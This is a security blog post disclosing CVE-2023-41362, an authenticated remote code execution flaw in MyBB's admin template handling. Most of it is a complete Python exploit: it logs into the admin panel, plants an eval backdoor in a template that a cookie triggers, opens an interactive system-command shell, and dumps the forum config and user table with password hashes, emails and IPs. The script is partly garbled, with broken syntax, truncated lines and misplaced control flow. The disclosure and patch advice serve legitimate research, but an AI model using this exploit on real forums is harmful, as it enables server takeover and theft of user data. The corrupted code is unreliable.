

MyBB Admin Panel RCE CVE-2023-41362

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Content

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This blog post explores a critical vulnerability in [MyBB's](#) admin panel, leading to authenticated Remote Code Execution (RCE). MyBB is a popular forum software with a template system that utilizes `eval()` to render templates.

We will discuss how this vulnerability in the admin panel's template handling can be exploited for RCE.

We can change these templates in the admin panel. When we submit changes to templates they get put through the `check_template()` function in `admin/functions.php`. This function employs regex patterns to scan templates for specific patterns that may indicate malicious code.

Now that we can bypass this check all we have to do is include the type payload it was made to prevent in your template (we must still avoid the regex checks before it). The payload I went with was `{$_db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}`. Initially I thought I needed to find a useful function that was in the scope to use the `{$_x->()}` format but we found that once we had a function we could do any php calls we needed. So we opted to use `$_db->insert_id()` as it doesn't really have any effect after using it and doesn't error loudly when it doesn't get input.

Proof of Concept

Manually

To demonstrate this vulnerability manually, follow these steps:

- Login to admin panel
- Navigate to “Templates & Style” > “Templates” > “Default Templates.”
- Select a template (for instance, “Who’s Online Templates”) and click on “online.”
- Add the following payload to the top of the template:

[illegible]

- Click one of the Save buttons

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- PHPInfo PoC: [http://example.com/online.php?1=phpinfo\(\);](http://example.com/online.php?1=phpinfo();))
- Command Exec: [http://example.com/online.php?1=system\('whoami;pwd'\);](http://example.com/online.php?1=system('whoami;pwd');))

Exploit script

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#!/usr/bin/python3
# Exploit script for CVE-2023-41362
# https://blog.sorcery.ie/posts/mybb_acp_rce/
import requests
import html
import argparse
import logging
from base64 import b64encode

class CustomFormatter(logging.Formatter):
    yellow = "\x1b[33;20m"
    red = "\x1b[31;20m"
    bold_red = "\x1b[31;1m"
    reset = "\x1b[0m"
    format = "%(levelname)s: %(message)s"

    FORMATS = {
        logging.DEBUG: format,
        logging.INFO: "[*] %(message)s",
        logging.WARNING: yellow + format + reset,
        logging.ERROR: red + format + reset,
        logging.CRITICAL: bold_red + format + reset
    }

def format(self, record):
    log_fmt = self.FORMATS.get(record.levelno)
    formatter = logging.Formatter(log_fmt)
    return formatter.format(record)

logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
ch = logging.StreamHandler()
ch.setFormatter(CustomFormatter())
logger.addHandler(ch)

def get_postkey(text):
    return text.split('my_post_key" value="')[1].split('"')[0]

def send_php/php_code):
    return session.get(f"{target}/online.php", cookies={'1': b64encode/php_code.encode()).decode()}).text

def remove():
    logger.info("Removing payload from template")
    rm_payload = '$db->query("UPDATE {$db->table_prefix}templates SET template=SUBSTRING_INDEX(template,\')--'

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    send_php(rm_payload)
    logger.warning("Payload removed")
    exit()

def dump_config():
    dump_config_payload = 'print_r($config);'
    print(send_php(dump_config_payload))

def dump_users():
    users_payload = '$q=$db->query("SELECT CONCAT_WS(\',\',uid,username,email,hex(regip),hex(lastip),password,sa
    logger.info(f"Saving user table to {domain}.txt")
    with open(f'{domain}.txt','w') as f:
        f.write(send_php(users_payload))
    logger.info(f"Complete")

def shell():
    logger.info("Testing code exec...")
    page = send_php('echo "Imao";')
    if 'Imao' in page:
        logger.info("Shell is working")
    else:
        logger.warning("Shell doesnt seem to work correctly")
        logger.info("Special commands: exit (quit), remove (removes backdoor), config (prints mybb config), dump (dump
    while True:
        command = input("Enter Command> ")
        if command in ['exit','quit']:
            break
        if command == 'remove':
            remove()
        continue
        if command == 'config':
            dump_config()
        continue
        if command == 'dump':
            dump_users()
        continue
        command = command.replace("'",'"')
        page = send_php(f"system('{command}');")
        print(page)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="MyBB CVE-2023-41362 Exploit Script")
    parser.add_argument("target", help="Target URL (e.g., https://example.com)")
    parser.add_argument("username", help="Admin username")

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parser.add_argument("password", help="Admin password")
parser.add_argument("--admincp", default="admin", help="Admin control panel path")
parser.add_argument("--user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/80.0.4012.101 Safari/537.36")
args = parser.parse_args()
target = args.target.rstrip("/")
domain = args.target.split('/')[1].split('.')[0]
admincp_path = args.admincp

# login to admin
session = requests.Session()
session.headers.update({"User-Agent":args.user_agent})

logger.info(f'Logging into {target}/{admincp_path}/ as {args.username}')
login = session.post(f'{target}/{admincp_path}/index.php', data={"username":args.username, "password":args.password})
if '<p id="message" class="error">' in login.text:
    logger.error("Login Failed")
    exit()
if 'This account has been locked out' in login.text:
    logger.error("Account has been locked out for failing login too many times")
    exit()

# we should have admin panel access now
page = session.get(f'{target}/{admincp_path}/index.php?module=style-templates&action=edit_template&title=on')
postkey = get_postkey(page)
existing_template = html.unescape(page.split('<textarea name="template" class="" id="template" style="width: 100%; height: 100px; border: 1px solid #ccc; margin-bottom: 10px;">')[1].split('</textarea>')[0])
tid = page.split('tid" value="')[1].split('"')[0]

# using html comment to hide the insert_id() response of 0
# payload uses a lot of [0]'s to trigger catastrophic regex backtracking to bypass filter
payload = "<!--{$db->insert_id(isset($_COOKIE[1])?die(eval(base64_decode($_COOKIE[1]))):''){$a"+"([0]"*2000)+"}-->"

if '[0][0][0][0][0]' in existing_template:
    logger.warning("Template already contains our payload code? Skipping to sending commands...")
else:
    page = session.post(f'{target}/{admincp_path}/index.php?module=style-templates&action=edit_template', data={"template":existing_template+payload, "tid":tid})
    if "The selected template has successfully been saved." in page.text:
        logger.info("Template saved!")
    else:
        logger.error("Template failed to save")
        shell()

```

Conclusion

In conclusion, this vulnerability in MyBB's admin panel highlights the importance of rigorously checking the return values of PHP's PCRE functions, [as MyBB did in their patch](#), because the functions will return False on failure (which is different to the return value 0 when they don't

match). PHP also provides the [preg_last_error_msg\(\)](#) and [preg_last_error\(\)](#) functions which may be useful.

For web application security testers, we hope this post serves as a valuable resource for understanding and identifying similar issues. If you find any please let me know about it by email or on Fedi/Twitter.

Timeline

Date	Action
12/08/2023	Reported bug to ZDI
24/08/2023	ZDI Rejected the bug on the grounds that a high level of admin access is required
25/08/2023	Reported issue to MyBB
28/08/2023	Patch and advisory released
30/08/2023	Number CVE-2023-41362 assigned
11/09/2023	Blog post and exploit released

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